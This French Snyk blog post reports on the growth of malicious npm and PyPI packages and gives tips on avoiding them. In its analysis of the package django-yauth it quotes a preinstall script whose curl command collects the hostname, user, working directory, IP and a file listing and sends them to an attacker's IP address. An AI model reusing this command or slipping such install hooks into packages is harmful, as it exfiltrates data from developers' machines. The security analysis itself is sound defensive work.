Skip to main content

La tendance croissante des paquets malveillants dans les écosystèmes open source

Écrit par
Introducing open source security runtime monitoring

23 mars 2023

0 minutes de lecture

Note de la rédaction : 5 mars 2025

Le paysage des packages open source malveillants continue d’évoluer.
En 2024, Snyk a identifié plus de 3 600 packages malveillants, principalement dans npm (plus de 3 000) et PyPI (plus de 600). Depuis le début de l’année 2025, nous avons signalé plus de 1 000 nouveaux cas, l’écosystème JavaScript restant le plus touché.
Snyk donne la priorité à l’ajout à sa base de données des packages malveillants qui comptent des utilisateurs actifs et sont susceptibles d’avoir un impact sur ses clients, plutôt que de ceux sans effet concret dans le monde réel.

Depuis début 2023, Snyk a recensé environ 6 800 paquets malveillants sur PyPI et dans le registre npm, qui nécessitent peu ou pas d’interaction, et en a découvert près de 860.

À partir de la mi-2022, nous avons constaté une forte hausse du nombre de paquets malveillants publiés dans les écosystèmes. Ces 6 800 nouveaux paquets malveillants font suite à la vaste campagne d’hameçonnage menée quelques mois plus tôt. Comme l’a découvert Checkmarx en décembre 2022, plus de 144 000 paquets malveillants ont été publiés dans des registres de logiciels open source, usurpant des noms légitimes et polluant ces écosystèmes avec des tentatives d’hameçonnage. Cet incident fait suite à un autre épisode d’hameçonnage bien connu, qui visait spécifiquement l’écosystème npm : plus de 17 000 paquets npm malveillants ont été téléversés pour piéger les développeurs au moyen de tentatives d’hameçonnage. Les développeurs Python ont également été ciblés lors d’un incident de sécurité visant PyPI, le registre de bibliothèques Python : plus de 1 130 paquets malveillants y ont été publiés.

Dans cet article, nous souhaitons vous donner une vision plus globale de la manière dont l’équipe sécurité de Snyk surveille les incidents de sécurité liés aux paquets malveillants et les divulgue. Face au grand nombre de rapports concernant ces paquets, nous souhaitons apporter davantage d’éclairage sur les risques et les conséquences réels observés par Snyk lors de ces incidents, ainsi que sur les moyens de réduire les risques jusqu’à leur atténuation.

La récente hausse du nombre de paquets malveillants publiés constitue clairement une tendance à la hausse. En 2021, Snyk a ajouté 82 nouveaux paquets malveillants, mais l’ampleur est tout autre en 2022 et 2023. Snyk a ajouté plus de 9 900 paquets malveillants ayant eu des conséquences importantes, soit une hausse de 11 973 % par rapport à 2021.

Cette croissance s’explique en grande partie par les investissements accrus que nous consacrons à la détection des paquets malveillants et à la neutralisation de leurs effets, en réponse à une meilleure prise de conscience de ce phénomène.

Chez Snyk, nous avons développé des outils d’analyse dynamique qui nous permettent de détecter les paquets malveillants dans différents écosystèmes, comme PyPI et npm, d’en récupérer le code source, de l’analyser et de le publier rapidement. De plus, grâce aux partenariats et à la collaboration de la communauté open source, nous pouvons suivre davantage de ressources qui publient des paquets malveillants et rester à jour.

Le graphique ci-dessous met en évidence l’évolution du nombre de paquets malveillants ajoutés aux informations de sécurité de Snyk depuis 2021 :

Graphique à barres présentant le nombre mensuel de paquets malveillants ajoutés à la base de données et de ceux découverts par Snyk, de janvier 2021 à mars 2023.

Même si le nombre de paquets malveillants publiés augmente considérablement, il est également important d’évaluer si tous présentent le même niveau de risque pour les développeurs. En réalité, ce n’est pas le cas.

Bon nombre des paquets malveillants connus du public sont des tentatives d’hameçonnage ciblées. Pour être exploités, ces paquets nécessitent une interaction de l’utilisateur : en plus de télécharger le paquet, la cible doit cliquer délibérément sur les liens pour être redirigée vers les sites d’hameçonnage. À l’inverse, de nombreux paquets malveillants ayant des conséquences importantes, notamment ceux qui utilisent des scripts de cycle de vie tels que preinstall ou postinstall, peuvent télécharger des logiciels malveillants ou dérober des informations sensibles sur la machine ciblée. Ces paquets ne nécessitent aucune interaction de l’utilisateur au-delà de leur installation. Ils présentent donc un risque plus élevé que les paquets qui exigent une action volontaire de l’utilisateur pour être exploités.

Depuis 2023, Snyk a découvert 681 paquets malveillants qui ne nécessitent aucune interaction de l’utilisateur, hormis le téléchargement du paquet. Le paquet npm JavaScript django-yauth en est un exemple.

En examinant son code source, nous avons découvert qu’il contient un script preinstall nommé ./pre.sh, qui comprend le code suivant :

     #!/bin/bash
     curl -d "Hostname: $(hostname) -H Whoami: $(whoami) -H Pwd: $(pwd ) -H IP:
     $(hostname -i ) $(ls -la )"  http://3.72.6.53/

Ce script preinstall s’exécute lorsque l’utilisateur installe le paquet à l’aide de la commande npm install django-yauth.

Dans ce cas précis, le fonctionnement du logiciel malveillant est simple à comprendre. Il collecte des informations sensibles, notamment le nom d’hôte de la machine, le nom d’utilisateur et le répertoire courant. Une requête POST envoyée à un point de terminaison contrôlé par l’attaquant permet de lui transmettre ces données.

Ce paquet a été téléversé sur npm par un utilisateur nommé ypvpctpbamdhxtkzdu, qui a publié d’autres paquets malveillants contenant un code similaire, tels que :

ticket-parser2-py3, qb2-core, python-statface-client, yandex-meteo-flow, yb-mongoengine, yandex-text-processing, yb-trust-butils, yandex-passport-vault-client.

Comment éviter d’être victime de paquets malveillants

Avant d’installer un paquet, vérifiez que son nom correspond exactement à celui que vous souhaitez installer.

De plus, pensez à analyser régulièrement vos projets et vos applications afin d’éviter que des paquets malveillants inconnus ne s’introduisent dans votre système.

En tant que développeur, vous devez prêter attention aux signes suspects, comme une version dont le numéro est bien supérieur à celui de toutes les autres versions du paquet ou les tentatives d’usurpation de nom par typosquattage, et examiner le code source des paquets que vous téléchargez.

Pour découvrir d’autres conseils et techniques de sécurisation de vos projets, consultez notre précédent article sur la prévention des paquets malveillants et des attaques de la chaîne d’approvisionnement avec Snyk.

La sécurité de demain

Même si le nombre de paquets malveillants augmente, les capacités des organisations dédiées à la sécurité de l’open source et de la communauté open source dans son ensemble ne seront pas en reste. De plus en plus d’outils d’automatisation et de machine learning sont développés pour détecter ces paquets à temps, et la communauté open source a compris que la coopération est essentielle dans la « lutte contre les paquets malveillants ». Partager des informations avec ses pairs et des experts du domaine permet d’élargir la veille et de mieux sensibiliser chacun aux paquets malveillants qu’il peut rencontrer.

Enfin, bien que les derniers événements aient vu la publication massive de paquets malveillants, tous ont été rapidement supprimés des écosystèmes et n’ont eu que des répercussions limitées sur les clients de Snyk.

Lancez-vous dans les compétitions Capture The Flag

Apprenez à résoudre des défis de capture du drapeau en regardant à la demande notre atelier virtuel d’initiation.

Lire la suite

feature insights context
Blog

Les attaques autonomes sont déjà là. La défense doit suivre leur rythme.

Les attaquants autonomes réduisent la fenêtre de défense. Découvrez comment la découverte, la correction, la validation et la prévention continues peuvent aider les équipes de sécurité à suivre le rythme.

feature insights context
Blog

La prévention est-elle essentiellement un problème résolu ?

La prévention dans le code généré par les agents est résolue sur le plan architectural, mais le défi reste de choisir des contrôles qui protègent la sécurité sans ralentir le développement.

Live Stream

Les agents de remédiation démystifiés : pourquoi corriger vaut mieux que détecter

Découvrez comment l’agent de remédiation de Snyk utilise les renseignements de sécurité, l’analyse de la cassabilité et la validation pour transformer les vulnérabilités en pull requests prêtes à être fusionnées.